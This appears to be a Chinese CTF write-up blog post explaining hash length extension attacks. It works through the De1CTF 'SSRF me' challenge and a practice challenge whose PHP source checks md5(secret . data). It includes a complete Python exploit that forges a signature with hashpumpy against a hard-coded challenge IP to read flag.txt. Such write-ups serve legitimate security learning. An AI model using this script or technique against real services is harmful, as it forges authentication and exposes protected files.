Fork me on GitHub

初见哈希扩展攻击

目前还是太菜了,向师傅们好好学习

SSRF me

点开首页就是一长串代码, curl重定向保存到文件中,然后仔细分析了一下代码

程序主要涉及到三个参数,一个是param在get中,另外两个action和sign是通过cookie获得的
访问/geneSign可以得到sign的值, action可以是scanread,但是在访问/De1ctf时,会检验sign是否正确,sign的生成算法:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

这其中secret_key是不知道的,并且gengeSign限制了action只能是scan,结合后来题目的提示是访问flag.txt,但是最多将这个文件读入result.txt,却不能读取出来。

这样想来是不是只能爆破secret_key了?但是secret_key又怎么会那么容易给你呢。。

这就涉及到我的知识盲区了,叫做哈希扩展攻击。。

先看实验吧一道例题

这题,注入不想注入,源码没扫出来,啥信息都没有?

还是要多关注抓包的信息,尤其是数据包中出现了一些你都没有看过的东西的时候就要仔细看一看了

hhh没想到吧

原来可以通过这种方式获取到源代码。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

empty函数 非空返回false,别想多了

关键在这里:
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {

其中$secret是不知道的,$usernamepassword是可以控制的,并且$secret的长度是15

哈希扩展攻击的原理之后再讨论,我们先分析这题咋搞

首先username必须是admin,password不能是admin那就随便输一个值比如cck

我们的目标很简单,就是绕过它
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {

所以目标就是让$COOKIE["getmein"]和md5后的值相等,所以需要同时伪造两边的值天平才能平衡

而hashpump工具就是来干这个的:

第一个参数是md5($secret . urldecode("admin" . "admin"))的值,第二个参数是填充的数据,第三个参数是填充数据加key的长度,第四个参数是添加的数据。
这样就能同时生成天平左边和右边的值了

当然还需要URL编码一下

理解了这题那么这道De1ctf的题目也就好说了

参考ctftime上的exp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests,hashpumpy,urllib
"""
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)

Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash

Returns:
A tuple containing the new hex digest and the new message.
'
"""
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print(sign)
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print(readsign)
# print add_data
add_data = add_data[len(payload):]
print(add_data)
expurl = base_url + 'De1ta?' + param
print(urllib.parse.quote(add_data))
r = requests.post(url=expurl,cookies={'action':urllib.parse.quote(add_data),'sign':readsign})
print(r.content)

当然我用的是python3,并且注意urllib.parse.quote(add_data)方法

就成功了